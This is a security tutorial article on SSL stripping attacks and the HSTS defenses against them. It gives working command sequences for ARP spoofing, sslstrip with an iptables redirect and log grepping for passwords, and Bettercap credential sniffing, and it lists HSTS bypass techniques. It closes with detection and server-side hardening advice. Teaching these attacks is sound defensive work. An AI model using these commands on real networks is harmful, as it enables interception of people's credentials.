Techzone/SSL Stripping Attack

SSL Stripping Attack

3 min readArticle

SSL stripping (HTTP downgrade attack) was introduced by Moxie Marlinspike at Black Hat 2009. The attack intercepts the HTTP-to-HTTPS upgrade, serving the victim plain HTTP while maintaining an HTTPS session upstream. The victim sees no padlock, sends credentials in cleartext — the attacker reads everything.

How It Works

Most users type bank.com, not https://bank.com. The browser starts with HTTP, the server issues a 301 Redirect to HTTPS, and then the secure session begins. The attacker is on-path (via ARP spoof) and intercepts that redirect.

shell 
Normal flow:
  Victim → http://bank.com → 301 HTTPS → TLS session with bank

SSL Strip flow:
  Victim → http://bank.com → ATTACKER → https://bank.com (TLS to bank)
  Victim ← 200 OK over HTTP ← ATTACKER  (rewrites all https:// links to http://)
  Victim sends credentials over HTTP — attacker reads them

Prerequisites: Get On-Path First

bash 
sudo sysctl -w net.ipv4.ip_forward=1
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1    # victim→gateway
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100    # gateway→victim

Method 1: sslstrip (Original Tool)

bash 
sudo apt install sslstrip

# Redirect port 80 traffic to sslstrip's listener
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# Start sslstrip
sslstrip -l 8080 -w /tmp/sslstrip.log

# Monitor log for credentials
tail -f /tmp/sslstrip.log | grep -iE "password|user|login"

sslstrip rewrites https:// → http:// in HTML, removes Secure from cookies, and strips Location: https:// redirects.

Method 2: Bettercap (Recommended)

bash 
sudo bettercap -iface eth0

# In bettercap shell:
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.100
arp.spoof on
set https.proxy.sslstrip true
http.proxy on
https.proxy on
net.sniff on         # prints captured credentials automatically

Bettercap handles the iptables redirect rules internally.

What Gets Rewritten

  • https:// links in HTML → http://
  • Location: https:// redirect headers → Location: http://
  • → http://
  • Secure flag stripped from Set-Cookie headers

HSTS — The Defense That Defeats Basic Stripping

HTTP Strict Transport Security tells browsers to refuse HTTP connections to a domain for a set period:

shell 
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Once a browser has seen this header over HTTPS, it enforces HTTPS-only for the entire max-age period. sslstrip fails because the browser will not make an HTTP request even if all links are rewritten.

bash 
# Check if a site sends HSTS
curl -I https://bank.com | grep -i strict-transport

# Check HSTS preload status
curl https://hstspreload.org/api/v2/status?domain=bank.com

HSTS Bypass Techniques

  1. New browser / fresh profile: no cached HSTS policy — first visit can be stripped before policy is set
  2. Subdomain attack: HSTS without includeSubDomains leaves sub.bank.com vulnerable
  3. sslstrip2 + dns2proxy: intercepts the HSTS header itself and removes it before the browser caches it, then uses DNS spoofing to redirect to a non-HSTS subdomain
  4. NTP manipulation: on an isolated network, push the clock forward to expire cached HSTS max-age

HSTS Preloading — The Real Fix

Browsers ship with a hardcoded list of domains that must always use HTTPS. Defeats stripping on first visit — no prior connection needed.

bash 
# Check Chrome's preload list
curl https://hstspreload.org/api/v2/status?domain=bank.com

# To add your domain — requires header:
# Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
# Then submit at: https://hstspreload.org/

Detection from the Victim Side

  • No padlock in browser address bar / http:// prefix on what should be a bank site
  • Check Chrome HSTS cache: chrome://net-internals/#hsts → query your domain
  • ARP table shows gateway MAC changed or is a locally-administered MAC → spoofing upstream
  • Browser HTTPS-Only mode (Firefox): forces upgrade on all sites, warns if downgrade attempted

Defense (Server-Side)

  1. Send Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  2. Submit to HSTS preload list at hstspreload.org
  3. 301 redirect HTTP → HTTPS at the server (not via HTML meta refresh — HTML can be stripped)
  4. Set Secure; HttpOnly flags on all session cookies
  5. Add Content-Security-Policy: upgrade-insecure-requests as defense-in-depth
techzonesite.comUnlock Your IT Potential